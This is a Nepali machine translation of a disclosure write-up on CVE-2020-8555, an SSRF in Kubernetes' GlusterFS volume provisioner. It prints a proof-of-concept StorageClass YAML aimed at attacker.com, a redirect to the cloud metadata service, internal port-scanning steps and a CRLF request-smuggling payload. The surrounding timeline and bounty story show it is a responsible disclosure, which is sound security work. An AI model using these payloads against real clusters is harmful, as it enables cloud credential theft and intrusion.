जब यो Kubernetes कमजोरीहरूको बारेमा मात्र होइन ...

नोट। अनुवाद।: यस लेखका लेखकहरूले उनीहरूले कमजोरी पत्ता लगाउन कसरी व्यवस्थित गरे भन्ने बारे विस्तृत रूपमा कुरा गर्छन् CVE-2020-8555 Kubernetes मा। यद्यपि सुरुमा यो धेरै खतरनाक देखिएन, अन्य कारकहरूसँग संयोजनमा यसको आलोचनात्मकता केही क्लाउड प्रदायकहरूको लागि अधिकतम भयो। धेरै संस्थाहरूले उदारतापूर्वक विशेषज्ञहरूलाई उनीहरूको कामको लागि पुरस्कृत गरे।

हामी को हौं

हामी दुई फ्रान्सेली सुरक्षा अनुसन्धानकर्ता हौं जसले संयुक्त रूपमा Kubernetes मा एक जोखिम पत्ता लगाए। हाम्रा नामहरू ब्रिस अग्रास र क्रिस्टोफ हाउक्विएर्ट हुन्, तर धेरै बग बाउन्टी प्लेटफर्महरूमा हामी क्रमशः रिभरजाक्स र ह्याच भनेर चिनिन्छौं:

• ब्रिस अग्रास - ग्रुप एस्टेन कम्पनी;
• क्रिस्टोफ हाउक्विएर्ट - नोकिया मा Kubernetes आर्किटेक्ट।

के भयो?

यो लेख साझा गर्ने हाम्रो तरिका हो कि कसरी एक साधारण अनुसन्धान परियोजना अप्रत्याशित रूपमा बग शिकारीहरूको जीवनमा सबैभन्दा रोमाञ्चक साहसिक कार्यमा परिणत भयो (कम्तीमा अहिलेको लागि)।

तपाईलाई थाहा छ, बग शिकारीहरूसँग केहि उल्लेखनीय सुविधाहरू छन्:

• तिनीहरू पिज्जा र बियरमा बाँच्छन्;
• अरू सबै सुतिरहेको बेला तिनीहरू काम गर्छन्।

हामी यी नियमहरूमा कुनै अपवाद छैनौं: हामी सामान्यतया सप्ताहन्तमा भेट्छौं र निद्रा नलागेको रात ह्याकिङमा बिताउँछौं। तर यी रातहरू मध्ये एक धेरै असामान्य तरिकामा समाप्त भयो।

सुरुमा हामी सहभागिताबारे छलफल गर्न भेट्ने थियौं CTF अर्को दिन। व्यवस्थित सेवा वातावरणमा Kubernetes सुरक्षाको बारेमा कुराकानीको क्रममा, हामीले SSRF को पुरानो विचार सम्झ्यौं (सर्भर-साइड अनुरोध जालसाजी) र यसलाई आक्रमण लिपिको रूपमा प्रयोग गर्ने प्रयास गर्ने निर्णय गरियो।

11 बजे हामी हाम्रो अनुसन्धान गर्न बस्यौं र नतिजाबाट धेरै सन्तुष्ट भएर बिहान सबेरै सुत्न गयौं। यो अनुसन्धानको कारणले गर्दा हामीले MSRC बग बाउन्टी कार्यक्रम भेट्टायौं र विशेषाधिकार वृद्धि शोषणको साथ आएका छौं।

धेरै हप्ता/महिना बित्यो, र हाम्रो अप्रत्याशित नतिजाले Azure Cloud बग बाउन्टीको इतिहासमा सबैभन्दा उच्च पुरस्कारहरू मध्ये एउटामा परिणत गर्‍यो - हामीले Kubernetes बाट प्राप्त गरेको एक बाहेक!

हाम्रो अनुसन्धान परियोजनामा ​​आधारित, Kubernetes उत्पादन सुरक्षा समिति प्रकाशित CVE-2020-8555.

अब म फेला परेको जोखिमको बारेमा जानकारी सकेसम्म फैलाउन चाहन्छु। हामी आशा गर्दछौं कि तपाईंले फेला पार्नु भएकोमा प्रशंसा गर्नुहोस् र इन्फोसेक समुदायका अन्य सदस्यहरूसँग प्राविधिक विवरणहरू साझा गर्नुहोस्!

त्यसैले यहाँ हाम्रो कथा छ ...

प्रस्ग

के भयो भन्ने कुरा बुझ्नको लागि, पहिले Kubernetes कसरी क्लाउड व्यवस्थित वातावरणमा काम गर्छ भनेर हेरौं।

जब तपाइँ यस्तो वातावरणमा Kubernetes क्लस्टर स्थापना गर्नुहुन्छ, व्यवस्थापन तह सामान्यतया क्लाउड प्रदायकको जिम्मेवारी हो:

नियन्त्रण तह क्लाउड प्रदायकको परिधिमा अवस्थित छ, जबकि Kubernetes नोडहरू ग्राहकको परिधिमा अवस्थित छन्।

गतिशील रूपमा भोल्युमहरू आवंटित गर्न, बाह्य भण्डारण ब्याकइन्डबाट तिनीहरूलाई गतिशील रूपमा प्रावधान गर्न र PVC (निरन्तर भोल्युम दाबी, अर्थात् भोल्युमको लागि अनुरोध) सँग तुलना गर्न एक संयन्त्र प्रयोग गरिन्छ।

यसरी, PVC सिर्जना गरिसकेपछि र K8s क्लस्टरमा StorageClass मा बाँधिएपछि, भोल्युम प्रदान गर्न थप कार्यहरू kube/क्लाउड नियन्त्रक प्रबन्धकद्वारा लिइन्छ (यसको सही नाम रिलीजमा निर्भर गर्दछ)। (नोट। अनुवाद।: हामीले क्लाउड प्रदायकहरू मध्ये एकको लागि यसको कार्यान्वयनको उदाहरण प्रयोग गरेर CCM बारे थप लेखेका छौं यहाँ.)

त्यहाँ Kubernetes द्वारा समर्थित धेरै प्रकारका प्रावधानहरू छन्: ती मध्ये धेरै समावेश छन् अर्केस्ट्रेटर कोर, जबकि अन्यहरू क्लस्टरमा पोडहरूमा राखिएका अतिरिक्त प्रावधानकर्ताहरूद्वारा व्यवस्थित हुन्छन्।

हाम्रो अनुसन्धानमा, हामीले आन्तरिक भोल्युम प्रावधान संयन्त्रमा ध्यान केन्द्रित गर्यौं, जुन तल चित्रण गरिएको छ:

बिल्ट-इन Kubernetes प्रोभिजनर प्रयोग गरी भोल्युमहरूको गतिशील प्रावधान

छोटकरीमा, जब Kubernetes व्यवस्थित वातावरणमा तैनात हुन्छ, नियन्त्रक प्रबन्धक क्लाउड प्रदायकको जिम्मेवारी हो, तर भोल्युम सिर्जना अनुरोध (माथिको रेखाचित्रमा नम्बर 3) क्लाउड प्रदायकको आन्तरिक नेटवर्क छोड्छ। र यो जहाँ चीजहरू साँच्चै रोचक हुन्छन्!

ह्याकिङ परिदृश्य

यस खण्डमा, हामीले माथि उल्लिखित कार्यप्रवाहको फाइदा कसरी लियौं र क्लाउड सेवा प्रदायकको आन्तरिक स्रोतहरू पहुँच गर्यौं भनेर वर्णन गर्नेछौं। यसले तपाइँलाई कसरी केहि कार्यहरू प्रदर्शन गर्न सक्नुहुन्छ भनेर देखाउनेछ, जस्तै आन्तरिक प्रमाणहरू प्राप्त गर्ने वा विशेषाधिकारहरू बढाउने।

एउटा साधारण हेरफेर (यस अवस्थामा, सेवा साइड अनुरोध जालसाजी) ले क्लाइन्ट वातावरण भन्दा बाहिर व्यवस्थित K8s अन्तर्गत विभिन्न सेवा प्रदायकहरूको क्लस्टरहरूमा जान मद्दत गर्यो।

हाम्रो अनुसन्धानमा हामीले GlusterFS प्रदायकमा ध्यान केन्द्रित गर्यौं। यस सन्दर्भमा कार्यहरूको थप अनुक्रम वर्णन गरिएको तथ्यको बावजुद, Quobyte, StorageOS र ScaleIO उही जोखिमको लागि संवेदनशील छन्।

गतिशील भोल्युम प्रावधान संयन्त्रको दुरुपयोग

भण्डारण कक्षा विश्लेषणको क्रममा GlusterFS Golang ग्राहक स्रोत कोड मा हामी सुचितजुन पहिलो HTTP अनुरोध (3) मा भोल्युम सिर्जना गर्दा, प्यारामिटरमा अनुकूलन URL को अन्त्यमा पठाइयो resturl थपियो /volumes.

हामीले थपेर यो अतिरिक्त मार्गबाट ​​छुटकारा पाउने निर्णय गर्यौं # प्यारामिटर मा resturl। यहाँ पहिलो YAML कन्फिगरेसन हो जुन हामीले अर्ध-अन्धा SSRF जोखिमको लागि परीक्षण गर्न प्रयोग गर्यौं। (तपाईं अर्ध-अन्धा वा अर्ध-अन्धो SSRF बारे थप पढ्न सक्नुहुन्छ, उदाहरणका लागि, यहाँ - लगभग। अनुवाद।):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

त्यसपछि हामीले कुबेरनेट क्लस्टरलाई टाढाबाट व्यवस्थापन गर्न बाइनरी प्रयोग गर्यौं kubectl। सामान्यतया, क्लाउड प्रदायकहरू (Azure, Google, AWS, आदि) ले तपाईंलाई यो उपयोगितामा प्रयोगको लागि प्रमाणहरू प्राप्त गर्न अनुमति दिन्छ।

यसका लागि धन्यवाद, म मेरो "विशेष" फाइल प्रयोग गर्न सक्षम भएँ। कुबे-नियन्त्रक-प्रबन्धकले नतिजा HTTP अनुरोध कार्यान्वयन गर्यो:

kubectl create -f sc-poc.yaml

आक्रमणकारीको दृष्टिकोणबाट जवाफ

यसको केही समय पछि, हामीले लक्षित सर्भरबाट आदेशहरू मार्फत HTTP प्रतिक्रिया प्राप्त गर्न सक्षम भयौं describe pvc वा get events kubectl मा। र साँच्चै: यो पूर्वनिर्धारित Kubernetes ड्राइभर यसको चेतावनी/त्रुटि सन्देशहरूमा धेरै वर्बोस छ...

यहाँ लिङ्क संग एक उदाहरण छ https://www.google.frप्यारामिटरको रूपमा सेट गर्नुहोस् resturl:

kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events

यस दृष्टिकोणमा, हामी जस्ता प्रश्नहरूमा सीमित थियौं HTTP POST र यदि रिटर्न कोड थियो भने प्रतिक्रिया निकायको सामग्रीहरू प्राप्त गर्न सकेन 201। तसर्थ, हामीले थप अनुसन्धान गर्ने निर्णय गर्यौं र यस ह्याकिङ परिदृश्यलाई नयाँ दृष्टिकोणका साथ विस्तार गर्यौं।

हाम्रो अनुसन्धान को विकास

• उन्नत परिदृश्य #1: आन्तरिक डाटा सङ्कलन गर्न थप लचिलो तरिका प्रदान गर्न HTTP विधि परिवर्तन गर्न बाह्य सर्भरबाट 302 रिडिरेक्ट प्रयोग गर्दै।
• उन्नत परिदृश्य #2: स्वचालित ल्यान स्क्यानिङ र आन्तरिक स्रोत खोज।
• उन्नत परिदृश्य #3: अनुकूल HTTP अनुरोधहरू सिर्जना गर्न र kube-नियन्त्रक लगहरूबाट निकालिएको डेटा पुन: प्राप्त गर्न HTTP CRLF + तस्करी ("अनुरोध तस्करी") प्रयोग गर्दै।

टेक्नोलोजी स्पेसिफिकेशन

• अनुसन्धानले उत्तरी युरोप क्षेत्रमा Kubernetes संस्करण 1.12 सँग Azure Kubernetes Service (AKS) को प्रयोग गर्‍यो।
• माथि वर्णन गरिएका परिदृश्यहरू तेस्रो परिदृश्यको अपवाद बाहेक, कुबर्नेट्सको पछिल्लो रिलीजमा कार्यान्वयन गरिएको थियो, किनभने उसलाई Golang संस्करण ≤ 1.12 संग निर्मित Kubernetes आवश्यक थियो।
• आक्रमणकारीको बाह्य सर्भर - https://attacker.com.

उन्नत परिदृश्य #1: GET मा HTTP POST अनुरोध पुन: निर्देशित गर्दै र संवेदनशील डेटा प्राप्त गर्दै

मूल विधि फिर्ता गर्न आक्रमणकर्ताको सर्भरको कन्फिगरेसनद्वारा सुधार गरिएको थियो 302 HTTP रिकोडPOST अनुरोधलाई GET अनुरोधमा रूपान्तरण गर्न (चित्रमा चरण 4):

पहिलो अनुरोध (3) ग्राहकबाट आउँदैछ GlusterFS (नियन्त्रक प्रबन्धक), एक POST प्रकार छ। यी चरणहरू पछ्याएर हामीले यसलाई GET मा परिणत गर्न सक्षम भयौं:

• एक प्यारामिटर रूपमा resturl StorageClass मा यो संकेत गरिएको छ http://attacker.com/redirect.php.
• अन्तबिन्दु https://attacker.com/redirect.php निम्न स्थान हेडरको साथ 302 HTTP स्थिति कोडको साथ जवाफ दिन्छ: http://169.254.169.254। यो कुनै पनि अन्य आन्तरिक स्रोत हुन सक्छ - यस अवस्थामा, रिडिरेक्ट लिङ्क मात्र उदाहरणको रूपमा प्रयोग गरिन्छ।
• पूर्वनिर्धारित नेट/http पुस्तकालय Golang ले अनुरोधलाई रिडिरेक्ट गर्छ र POST लाई 302 स्टेटस कोडको साथ GET मा रूपान्तरण गर्छ, परिणामस्वरूप लक्ष्य स्रोतमा HTTP GET अनुरोध हुन्छ।

HTTP प्रतिक्रिया शरीर पढ्नको लागि तपाईंले गर्न आवश्यक छ describe PVC वस्तु:

kubectl describe pvc xxx

यहाँ JSON ढाँचामा HTTP प्रतिक्रियाको उदाहरण छ जुन हामीले प्राप्त गर्न सक्षम थियौं:

त्यस समयमा फेला परेको जोखिमको क्षमताहरू निम्न बुँदाहरूको कारणले सीमित थिए:

• बाहिर जाने अनुरोधमा HTTP हेडरहरू सम्मिलित गर्न असक्षमता।
• शरीरमा प्यारामिटरहरूसँग POST अनुरोध गर्न असक्षमता (यो चलिरहेको etcd उदाहरणबाट कुञ्जी मान अनुरोध गर्न सुविधाजनक छ। 2379 यदि एन्क्रिप्ट नगरिएको HTTP प्रयोग गरिएको छ भने पोर्ट)।
• स्थिति कोड 200 भएको र प्रतिक्रियामा JSON सामग्री-प्रकार नभएको बेला प्रतिक्रिया मुख्य सामग्री पुन: प्राप्त गर्न असक्षमता।

उन्नत परिदृश्य #2: स्थानीय नेटवर्क स्क्यान गर्दै

यो अर्ध-अन्धो SSRF विधि त्यसपछि क्लाउड प्रदायकको आन्तरिक नेटवर्क स्क्यान गर्न र प्रतिक्रियाहरूको आधारमा विभिन्न सुन्ने सेवाहरू (मेटाडेटा उदाहरण, कुबेलेट, इत्यादि, आदि) पोल गर्न प्रयोग गरियो। kube नियन्त्रक.

पहिले, Kubernetes कम्पोनेन्टहरूको मानक सुन्ने पोर्टहरू निर्धारण गरियो (8443, 10250, 10251, आदि), र त्यसपछि हामीले स्क्यानिङ प्रक्रियालाई स्वचालित गर्नुपर्‍यो।

स्रोतहरू स्क्यान गर्ने यो विधि धेरै विशिष्ट छ र क्लासिक स्क्यानरहरू र SSRF उपकरणहरूसँग मिल्दो छैन भनेर देखेर, हामीले सम्पूर्ण प्रक्रियालाई स्वचालित गर्ने बास स्क्रिप्टमा हाम्रा आफ्नै कार्यकर्ताहरू सिर्जना गर्ने निर्णय गर्यौं।

उदाहरणका लागि, आन्तरिक नेटवर्कको दायरा 172.16.0.0/12 द्रुत रूपमा स्क्यान गर्न, 15 कामदारहरू समानान्तर रूपमा सुरू गरियो। माथिको IP दायरालाई उदाहरणको रूपमा मात्र चयन गरिएको छ र तपाईंको विशिष्ट सेवा प्रदायकको IP दायरामा परिवर्तन हुन सक्छ।

एउटा IP ठेगाना र एउटा पोर्ट स्क्यान गर्न, तपाईंले निम्न गर्न आवश्यक छ:

• अन्तिम जाँच गरिएको StorageClass मेटाउनुहोस्;
• अघिल्लो प्रमाणित निरन्तर भोल्युम दावी हटाउनुहोस्;
• आईपी ​​र पोर्ट मानहरू परिवर्तन गर्नुहोस् sc.yaml;
• नयाँ आईपी र पोर्टको साथ स्टोरेज क्लास सिर्जना गर्नुहोस्;
• नयाँ पीवीसी सिर्जना गर्नुहोस्;
• PVC को लागि वर्णन प्रयोग गरेर स्क्यान परिणामहरू निकाल्नुहोस्।

उन्नत परिदृश्य #3: CRLF इंजेक्शन + Kubernetes क्लस्टरको "पुरानो" संस्करणहरूमा HTTP तस्करी

यदि यसका अतिरिक्त प्रदायकले ग्राहकहरूलाई K8s क्लस्टरको पुरानो संस्करणहरू प्रस्ताव गर्यो и तिनीहरूलाई kube-controller-manager को लगहरूमा पहुँच दियो, प्रभाव अझ महत्त्वपूर्ण भयो।

यो वास्तवमा एक आक्रमणकारीको लागि HTTP अनुरोधहरू परिवर्तन गर्नको लागि धेरै सुविधाजनक छ जुन उसको विवेकमा पूर्ण HTTP प्रतिक्रिया प्राप्त गर्न डिजाइन गरिएको छ।

अन्तिम परिदृश्य लागू गर्न, निम्न सर्तहरू पूरा गर्न आवश्यक थियो:

• प्रयोगकर्तासँग kube-controller-manager लगहरूमा पहुँच हुनुपर्छ (उदाहरणका लागि, Azure LogInsights मा)।
• Kubernetes क्लस्टरले 1.12 भन्दा कम Golang को संस्करण प्रयोग गर्नुपर्छ।

हामीले GlusterFS Go क्लाइन्ट र नक्कली लक्ष्य सर्भर (हामी अहिलेको लागि PoC प्रकाशित गर्नबाट टाढा रहनेछौं) बीचको संचारलाई नक्कल गर्ने स्थानीय वातावरण प्रयोग गर्यौं।

फेला परेको थियो कमजोरी, 1.12 भन्दा कम Golang संस्करणहरूलाई असर गर्दै र ह्याकरहरूलाई HTTP तस्करी/CRLF आक्रमणहरू गर्न अनुमति दिँदै।

माथि वर्णन गरिएको अर्ध-अन्धो SSRF को संयोजन गरेर एक साथ यसका साथ, हामीले हेडरहरू, HTTP विधि, प्यारामिटरहरू र डेटा प्रतिस्थापन गर्ने, जुन kube-controller-manager त्यसपछि प्रशोधन गर्ने सहित हाम्रो मनपर्ने अनुरोधहरू पठाउन सक्षम भयौं।

यहाँ एक प्यारामिटर मा काम "चारा" को एक उदाहरण छ resturl StorageClass, जसले समान आक्रमण परिदृश्य लागू गर्दछ:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

परिणाम त्रुटि हो अवांछित प्रतिक्रिया, एउटा सन्देश जसको बारेमा नियन्त्रक लगहरूमा रेकर्ड गरिएको छ। पूर्वनिर्धारित रूपमा सक्षम पारिश्रमिकको लागि धन्यवाद, HTTP प्रतिक्रिया सन्देशको सामग्रीहरू पनि त्यहाँ सुरक्षित छन्।

यो अवधारणा को प्रमाण को रूपरेखा भित्र हाम्रो सबैभन्दा प्रभावकारी "चारा" थियो।

यो दृष्टिकोण प्रयोग गरेर, हामीले विभिन्न व्यवस्थित k8s प्रदायकहरूको क्लस्टरहरूमा निम्न केही आक्रमणहरू गर्न सक्षम थियौं: मेटाडेटा उदाहरणहरूमा प्रमाणहरूको साथ विशेषाधिकार वृद्धि, etcd मास्टर उदाहरणहरूमा HTTP अनुरोधहरू (अनइन्क्रिप्टेड) ​​मार्फत मास्टर DoS, आदि।

परिणामहरू

हामीले पत्ता लगाएको SSRF जोखिमको बारेमा Kubernetes आधिकारिक कथनमा, यसलाई मूल्याङ्कन गरिएको थियो CVSS ६.३/१०: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N। यदि हामीले Kubernetes परिधि, अखण्डता भेक्टरसँग सम्बन्धित जोखिमलाई मात्र विचार गर्छौं (अखंडता वेक्टर) को रूपमा योग्य हुन्छ कुनै पनि.

यद्यपि, व्यवस्थित सेवा वातावरणको सन्दर्भमा सम्भावित परिणामहरूको मूल्याङ्कन गर्दै (र यो हाम्रो अनुसन्धानको सबैभन्दा चाखलाग्दो भाग थियो!) ले हामीलाई कमजोरीलाई मूल्याङ्कनमा पुन: वर्गीकरण गर्न प्रेरित गर्‍यो। क्रिटिकल CVSS10/10 धेरै वितरकहरूको लागि।

क्लाउड वातावरणमा सम्भावित प्रभावहरूको मूल्याङ्कन गर्दा हाम्रा विचारहरू बुझ्न मद्दत गर्नको लागि तल थप जानकारी छ:

निष्ठा

• प्राप्त आन्तरिक प्रमाणहरू प्रयोग गरेर टाढैबाट आदेशहरू कार्यान्वयन गर्नुहोस्।
• स्थानीय नेटवर्कमा पाइने अन्य स्रोतहरूसँग IDOR (Insecure Direct Object Reference) विधि प्रयोग गरेर माथिको परिदृश्य पुन: उत्पादन गर्दै।

गोप्यता

• आक्रमणको प्रकार पार्श्व आन्दोलन क्लाउड प्रमाणहरू चोरी गर्नका लागि धन्यवाद (उदाहरणका लागि, मेटाडेटा API)।
• स्थानीय नेटवर्क स्क्यान गरेर जानकारी सङ्कलन गर्दै (SSH संस्करण, HTTP सर्भर संस्करण, ...)।
• मेटाडेटा API (http://169.254.169.254, ...)।
• क्लाउड प्रमाणहरू प्रयोग गरेर ग्राहक डेटा चोरी।

उपलब्धता

आक्रमण भेक्टरहरूसँग सम्बन्धित सबै शोषण परिदृश्यहरू अखण्डता, विनाशकारी कार्यहरूको लागि प्रयोग गर्न सकिन्छ र ग्राहक परिधि (वा कुनै अन्य) अनुपलब्ध हुनबाट मास्टर उदाहरणहरूको नेतृत्व गर्न सकिन्छ।

हामी एक व्यवस्थित K8s वातावरणमा थियौं र अखण्डतामा प्रभावको मूल्याङ्कन गर्दै, हामी उपलब्धतालाई असर गर्न सक्ने धेरै परिदृश्यहरू कल्पना गर्न सक्छौं। अतिरिक्त उदाहरणहरूमा etcd डाटाबेस भ्रष्ट वा Kubernetes API मा एक महत्वपूर्ण कल गर्ने समावेश छ।

समयरेखा

• डिसेम्बर 6, 2019: जोखिम MSRC बग बाउन्टीलाई रिपोर्ट गरियो।
• जनवरी ३, २०२०: एक तेस्रो पक्षले Kubernetes विकासकर्ताहरूलाई हामी सुरक्षा मुद्दामा काम गरिरहेका छौं भनी जानकारी गरायो। र तिनीहरूलाई SSRF लाई आन्तरिक (इन-कोर) जोखिमको रूपमा विचार गर्न भन्यो। हामीले त्यसपछि समस्याको स्रोतको बारेमा प्राविधिक विवरणहरू सहित एक सामान्य रिपोर्ट प्रदान गर्यौं।
• जनवरी 15, 2020: हामीले Kubernetes विकासकर्ताहरूलाई उनीहरूको अनुरोधमा (HackerOne प्लेटफर्म मार्फत) प्राविधिक र सामान्य रिपोर्टहरू प्रदान गर्‍यौं।
• जनवरी 15, 2020: Kubernetes विकासकर्ताहरूले हामीलाई विगतका रिलीजहरूका लागि हाफ-ब्लाइन्ड SSRF + CRLF इन्जेक्सनलाई इन-कोर जोखिम मानिन्छ भनेर सूचित गरे। हामीले तुरुन्तै अन्य सेवा प्रदायकहरूको परिधिको विश्लेषण गर्न बन्द गर्यौं: K8s टोलीले अब मूल कारणसँग काम गरिरहेको थियो।
• जनवरी 15, 2020: MSRC इनाम HackerOne मार्फत प्राप्त भयो।
• जनवरी 16, 2020: Kubernetes PSC (उत्पादन सुरक्षा समिति) ले जोखिम पहिचान गर्‍यो र सम्भावित पीडितहरूको ठूलो संख्याको कारणले मार्चको मध्यसम्म गोप्य राख्न भन्यो।
• फेब्रुअरी 11, 2020: Google VRP पुरस्कार प्राप्त भयो।
• मार्च ४, २०२०: HackerOne मार्फत Kubernetes पुरस्कार प्राप्त भयो।
• मार्च 15, 2020: मूल रूपमा निर्धारित सार्वजनिक खुलासा COVID-19 स्थितिको कारण स्थगित गरियो।
• जुन 1, 2020: कुबर्नेट्स + माइक्रोसफ्टले जोखिमको बारेमा संयुक्त कथन।

TL; ड

• हामी बियर पिउन्छौं र पिज्जा खान्छौं :)
• हामीले Kubernetes मा एउटा इन-कोर भेद्यता पत्ता लगायौं, यद्यपि हामीले त्यसो गर्ने कुनै इरादा थिएन।
• हामीले विभिन्न क्लाउड प्रदायकहरूको क्लस्टरहरूमा थप विश्लेषणहरू सञ्चालन गर्यौं र थप अद्भुत बोनसहरू प्राप्त गर्नको लागि जोखिमको कारणले गर्दा हुने क्षति बढाउन सक्षम थियौं।
• तपाईंले यस लेखमा धेरै प्राविधिक विवरणहरू पाउनुहुनेछ। हामी तिनीहरूसँग तपाईंसँग छलफल गर्न पाउँदा खुसी हुनेछौं (ट्विटर: @ReeverZax & @__hach_).
• सबै प्रकारका औपचारिकता र रिपोर्टिङले सोचेभन्दा धेरै समय लियो भन्ने थाहा भयो।

सन्दर्भ

• गुगल समूह kubernetes-सुरक्षा-घोषणा;
• CVE-2020-8555;
• गोलाङ अंक #३०७९४;
• heketi/client/api/go-client/volume.go.

अनुवादकबाट PS

हाम्रो ब्लगमा पनि पढ्नुहोस्:

• «Kubernetes बग शिकार आधिकारिक रूपमा खुला छ»;
• «लगहरू माउन्ट गरेर Kubernetes मा पोडबाट बाहिर निस्कँदै»;
• «33+ Kubernetes सुरक्षा उपकरणहरू"।

स्रोत: www.habr.com